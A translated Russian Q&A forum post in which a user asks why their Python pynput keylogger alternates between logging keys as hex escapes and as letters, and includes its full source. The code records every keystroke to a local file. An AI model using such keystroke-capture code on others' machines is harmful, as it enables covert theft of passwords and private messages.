Почему мой код кейлоггера случайно меняет вывод между буквенными символами и шестнадцатеричным ascii? - PullRequest
0 голосов
/ 07 июля 2019

Я написал код для кейлоггера и столкнулся с чем-то странным.

Всякий раз, когда я выполняю код, у меня есть 50% шанс, что программа зарегистрирует каждый символ как шестнадцатеричный ('\ x01').

И 50% для того, чтобы записать его как буквенный символ. ( 'А')

-Это действительно случайно?

Пока я НЕ меняю код. Каждый раз, когда я запускаю его, вывод символов может меняться.

import pynput
from pynput.keyboard import Key, Listener

count = 0
keys = []

def on_press(key):
    global keys, count

    keys.append(key)
    count=+1
    print(key)

    if count >= 10:
        count = 0
        write_file(keys)

def on_release(key):
    if key == Key.esc:
        return False

def write_file(keys):
    with open("popa", "a") as wri:
        for key in keys:
            wri.write(str(key))

with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()

Я ожидаю, что каждый символ будет выведен в удобной для человека форме.

Это НЕ = \ x01

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...